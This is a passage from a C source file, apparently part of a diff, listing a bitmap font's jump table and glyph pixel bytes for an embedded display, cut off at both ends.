0x0E, 0x07, // 62:344 + 0x01, 0x66, 0x0D, 0x07, // 63:358 + 0x01, 0x73, 0x0E, 0x07, // 64:371 + 0x01, 0x81, 0x0E, 0x07, // 65:385 + 0x01, 0x8F, 0x0E, 0x07, // 66:399 + 0x01, 0x9D, 0x0E, 0x07, // 67:413 + 0x01, 0xAB, 0x0E, 0x07, // 68:427 + 0x01, 0xB9, 0x0E, 0x07, // 69:441 + 0x01, 0xC7, 0x0D, 0x07, // 70:455 + 0x01, 0xD4, 0x0E, 0x07, // 71:468 + 0x01, 0xE2, 0x0E, 0x07, // 72:482 + 0x01, 0xF0, 0x0C, 0x07, // 73:496 + 0x01, 0xFC, 0x0C, 0x07, // 74:508 + 0x02, 0x08, 0x0E, 0x07, // 75:520 + 0x02, 0x16, 0x0E, 0x07, // 76:534 + 0x02, 0x24, 0x0E, 0x07, // 77:548 + 0x02, 0x32, 0x0E, 0x07, // 78:562 + 0x02, 0x40, 0x0E, 0x07, // 79:576 + 0x02, 0x4E, 0x0D, 0x07, // 80:590 + 0x02, 0x5B, 0x0E, 0x07, // 81:603 + 0x02, 0x69, 0x0E, 0x07, // 82:617 + 0x02, 0x77, 0x0E, 0x07, // 83:631 + 0x02, 0x85, 0x0D, 0x07, // 84:645 + 0x02, 0x92, 0x0E, 0x07, // 85:658 + 0x02, 0xA0, 0x0D, 0x07, // 86:672 + 0x02, 0xAD, 0x0E, 0x07, // 87:685 + 0x02, 0xBB, 0x0E, 0x07, // 88:699 + 0x02, 0xC9, 0x0D, 0x07, // 89:713 + 0x02, 0xD6, 0x0E, 0x07, // 90:726 + 0x02, 0xE4, 0x0A, 0x07, // 91:740 + 0x02, 0xEE, 0x0E, 0x07, // 92:750 + 0x02, 0xFC, 0x08, 0x07, // 93:764 + 0x03, 0x04, 0x0B, 0x07, // 94:772 + 0x03, 0x0F, 0x0E, 0x07, // 95:783 + 0x03, 0x1D, 0x09, 0x07, // 96:797 + 0x03, 0x26, 0x0C, 0x07, // 97:806 + 0x03, 0x32, 0x0C, 0x07, // 98:818 + 0x03, 0x3E, 0x0C, 0x07, // 99:830 + 0x03, 0x4A, 0x0C, 0x07, // 100:842 + 0x03, 0x56, 0x0C, 0x07, // 101:854 + 0x03, 0x62, 0x0B, 0x07, // 102:866 + 0x03, 0x6D, 0x0C, 0x07, // 103:877 + 0x03, 0x79, 0x0C, 0x07, // 104:889 + 0x03, 0x85, 0x0C, 0x07, // 105:901 + 0x03, 0x91, 0x0A, 0x07, // 106:913 + 0x03, 0x9B, 0x0C, 0x07, // 107:923 + 0x03, 0xA7, 0x0C, 0x07, // 108:935 + 0x03, 0xB3, 0x0C, 0x07, // 109:947 + 0x03, 0xBF, 0x0C, 0x07, // 110:959 + 0x03, 0xCB, 0x0C, 0x07, // 111:971 + 0x03, 0xD7, 0x0C, 0x07, // 112:983 + 0x03, 0xE3, 0x0C, 0x07, // 113:995 + 0x03, 0xEF, 0x0D, 0x07, // 114:1007 + 0x03, 0xFC, 0x0C, 0x07, // 115:1020 + 0x04, 0x08, 0x0C, 0x07, // 116:1032 + 0x04, 0x14, 0x0C, 0x07, // 117:1044 + 0x04, 0x20, 0x0B, 0x07, // 118:1056 + 0x04, 0x2B, 0x0D, 0x07, // 119:1067 + 0x04, 0x38, 0x0C, 0x07, // 120:1080 + 0x04, 0x44, 0x0B, 0x07, // 121:1092 + 0x04, 0x4F, 0x0C, 0x07, // 122:1103 + 0x04, 0x5B, 0x0C, 0x07, // 123:1115 + 0x04, 0x67, 0x08, 0x07, // 124:1127 + 0x04, 0x6F, 0x0B, 0x07, // 125:1135 + 0x04, 0x7A, 0x0E, 0x07, // 126:1146 + 0x04, 0x88, 0x0E, 0x07, // 127:1160 + 0x04, 0x96, 0x0E, 0x07, // 128:1174 + 0x04, 0xA4, 0x0E, 0x07, // 129:1188 + 0x04, 0xB2, 0x0E, 0x07, // 130:1202 + 0x04, 0xC0, 0x0E, 0x07, // 131:1216 + 0x04, 0xCE, 0x0E, 0x07, // 132:1230 + 0x04, 0xDC, 0x0E, 0x07, // 133:1244 + 0x04, 0xEA, 0x0E, 0x07, // 134:1258 + 0x04, 0xF8, 0x0E, 0x07, // 135:1272 + 0x05, 0x06, 0x0E, 0x07, // 136:1286 + 0x05, 0x14, 0x0E, 0x07, // 137:1300 + 0x05, 0x22, 0x0E, 0x07, // 138:1314 + 0x05, 0x30, 0x0E, 0x07, // 139:1328 + 0x05, 0x3E, 0x0E, 0x07, // 140:1342 + 0x05, 0x4C, 0x0E, 0x07, // 141:1356 + 0x05, 0x5A, 0x0E, 0x07, // 142:1370 + 0x05, 0x68, 0x0E, 0x07, // 143:1384 + 0x05, 0x76, 0x0E, 0x07, // 144:1398 + 0x05, 0x84, 0x0E, 0x07, // 145:1412 + 0x05, 0x92, 0x0E, 0x07, // 146:1426 + 0x05, 0xA0, 0x0E, 0x07, // 147:1440 + 0x05, 0xAE, 0x0E, 0x07, // 148:1454 + 0x05, 0xBC, 0x0E, 0x07, // 149:1468 + 0x05, 0xCA, 0x0E, 0x07, // 150:1482 + 0x05, 0xD8, 0x0E, 0x07, // 151:1496 + 0x05, 0xE6, 0x0E, 0x07, // 152:1510 + 0x05, 0xF4, 0x0E, 0x07, // 153:1524 + 0x06, 0x02, 0x0E, 0x07, // 154:1538 + 0x06, 0x10, 0x0E, 0x07, // 155:1552 + 0x06, 0x1E, 0x0E, 0x07, // 156:1566 + 0x06, 0x2C, 0x0E, 0x07, // 157:1580 + 0x06, 0x3A, 0x0E, 0x07, // 158:1594 + 0x06, 0x48, 0x0E, 0x07, // 159:1608 + 0xFF, 0xFF, 0x00, 0x07, // 160:65535 + 0x06, 0x56, 0x08, 0x07, // 161:1622 + 0x06, 0x5E, 0x0C, 0x07, // 162:1630 + 0x06, 0x6A, 0x0C, 0x07, // 163:1642 + 0x06, 0x76, 0x0E, 0x07, // 164:1654 + 0x06, 0x84, 0x0D, 0x07, // 165:1668 + 0x06, 0x91, 0x08, 0x07, // 166:1681 + 0x06, 0x99, 0x0C, 0x07, // 167:1689 + 0x06, 0xA5, 0x09, 0x07, // 168:1701 + 0x06, 0xAE, 0x0E, 0x07, // 169:1710 + 0x06, 0xBC, 0x0A, 0x07, // 170:1724 + 0x06, 0xC6, 0x0E, 0x07, // 171:1734 + 0x06, 0xD4, 0x0E, 0x07, // 172:1748 + 0x06, 0xE2, 0x0A, 0x07, // 173:1762 + 0x06, 0xEC, 0x0E, 0x07, // 174:1772 + 0x06, 0xFA, 0x0B, 0x07, // 175:1786 + 0x07, 0x05, 0x0B, 0x07, // 176:1797 + 0x07, 0x10, 0x0E, 0x07, // 177:1808 + 0x07, 0x1E, 0x09, 0x07, // 178:1822 + 0x07, 0x27, 0x0B, 0x07, // 179:1831 + 0x07, 0x32, 0x09, 0x07, // 180:1842 + 0x07, 0x3B, 0x0E, 0x07, // 181:1851 + 0x07, 0x49, 0x0E, 0x07, // 182:1865 + 0x07, 0x57, 0x08, 0x07, // 183:1879 + 0x07, 0x5F, 0x0A, 0x07, // 184:1887 + 0x07, 0x69, 0x09, 0x07, // 185:1897 + 0x07, 0x72, 0x0A, 0x07, // 186:1906 + 0x07, 0x7C, 0x0E, 0x07, // 187:1916 + 0x07, 0x8A, 0x0E, 0x07, // 188:1930 + 0x07, 0x98, 0x0C, 0x07, // 189:1944 + 0x07, 0xA4, 0x0E, 0x07, // 190:1956 + 0x07, 0xB2, 0x0A, 0x07, // 191:1970 + 0x07, 0xBC, 0x0E, 0x07, // 192:1980 + 0x07, 0xCA, 0x0E, 0x07, // 193:1994 + 0x07, 0xD8, 0x0E, 0x07, // 194:2008 + 0x07, 0xE6, 0x0E, 0x07, // 195:2022 + 0x07, 0xF4, 0x0E, 0x07, // 196:2036 + 0x08, 0x02, 0x0E, 0x07, // 197:2050 + 0x08, 0x10, 0x0E, 0x07, // 198:2064 + 0x08, 0x1E, 0x0E, 0x07, // 199:2078 + 0x08, 0x2C, 0x0E, 0x07, // 200:2092 + 0x08, 0x3A, 0x0E, 0x07, // 201:2106 + 0x08, 0x48, 0x0E, 0x07, // 202:2120 + 0x08, 0x56, 0x0E, 0x07, // 203:2134 + 0x08, 0x64, 0x0C, 0x07, // 204:2148 + 0x08, 0x70, 0x0C, 0x07, // 205:2160 + 0x08, 0x7C, 0x0C, 0x07, // 206:2172 + 0x08, 0x88, 0x0C, 0x07, // 207:2184 + 0x08, 0x94, 0x0E, 0x07, // 208:2196 + 0x08, 0xA2, 0x0E, 0x07, // 209:2210 + 0x08, 0xB0, 0x0E, 0x07, // 210:2224 + 0x08, 0xBE, 0x0E, 0x07, // 211:2238 + 0x08, 0xCC, 0x0E, 0x07, // 212:2252 + 0x08, 0xDA, 0x0E, 0x07, // 213:2266 + 0x08, 0xE8, 0x0E, 0x07, // 214:2280 + 0x08, 0xF6, 0x0C, 0x07, // 215:2294 + 0x09, 0x02, 0x0E, 0x07, // 216:2306 + 0x09, 0x10, 0x0E, 0x07, // 217:2320 + 0x09, 0x1E, 0x0E, 0x07, // 218:2334 + 0x09, 0x2C, 0x0E, 0x07, // 219:2348 + 0x09, 0x3A, 0x0E, 0x07, // 220:2362 + 0x09, 0x48, 0x0D, 0x07, // 221:2376 + 0x09, 0x55, 0x0D, 0x07, // 222:2389 + 0x09, 0x62, 0x0C, 0x07, // 223:2402 + 0x09, 0x6E, 0x0C, 0x07, // 224:2414 + 0x09, 0x7A, 0x0C, 0x07, // 225:2426 + 0x09, 0x86, 0x0C, 0x07, // 226:2438 + 0x09, 0x92, 0x0C, 0x07, // 227:2450 + 0x09, 0x9E, 0x0C, 0x07, // 228:2462 + 0x09, 0xAA, 0x0C, 0x07, // 229:2474 + 0x09, 0xB6, 0x0C, 0x07, // 230:2486 + 0x09, 0xC2, 0x0C, 0x07, // 231:2498 + 0x09, 0xCE, 0x0C, 0x07, // 232:2510 + 0x09, 0xDA, 0x0C, 0x07, // 233:2522 + 0x09, 0xE6, 0x0C, 0x07, // 234:2534 + 0x09, 0xF2, 0x0C, 0x07, // 235:2546 + 0x09, 0xFE, 0x0C, 0x07, // 236:2558 + 0x0A, 0x0A, 0x0C, 0x07, // 237:2570 + 0x0A, 0x16, 0x0C, 0x07, // 238:2582 + 0x0A, 0x22, 0x0C, 0x07, // 239:2594 + 0x0A, 0x2E, 0x0C, 0x07, // 240:2606 + 0x0A, 0x3A, 0x0C, 0x07, // 241:2618 + 0x0A, 0x46, 0x0C, 0x07, // 242:2630 + 0x0A, 0x52, 0x0C, 0x07, // 243:2642 + 0x0A, 0x5E, 0x0C, 0x07, // 244:2654 + 0x0A, 0x6A, 0x0C, 0x07, // 245:2666 + 0x0A, 0x76, 0x0C, 0x07, // 246:2678 + 0x0A, 0x82, 0x0C, 0x07, // 247:2690 + 0x0A, 0x8E, 0x0C, 0x07, // 248:2702 + 0x0A, 0x9A, 0x0C, 0x07, // 249:2714 + 0x0A, 0xA6, 0x0C, 0x07, // 250:2726 + 0x0A, 0xB2, 0x0C, 0x07, // 251:2738 + 0x0A, 0xBE, 0x0C, 0x07, // 252:2750 + 0x0A, 0xCA, 0x0B, 0x07, // 253:2762 + 0x0A, 0xD5, 0x0C, 0x07, // 254:2773 + 0x0A, 0xE1, 0x0B, 0x07, // 255:2785 + + // Font Data: + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33 + 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34 + 0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35 + 0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36 + 0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37 + 0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41 + 0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42 + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46 + 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49 + 0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50 + 0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51 + 0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52 + 0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53 + 0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54 + 0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55 + 0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56 + 0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59 + 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60 + 0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61 + 0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62 + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67 + 0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73 + 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75 + 0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76 + 0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77 + 0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82 + 0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83 + 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85 + 0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86 + 0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87 + 0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89 + 0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91 + 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93 + 0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94 + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97 + 0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103 + 0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105 + 0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106 + 0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107 + 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108 + 0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109 + 0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111 + 0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113 + 0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114 + 0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117 + 0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118 + 0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119 + 0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121 + 0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124 + 0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162 + 0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163 + 0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 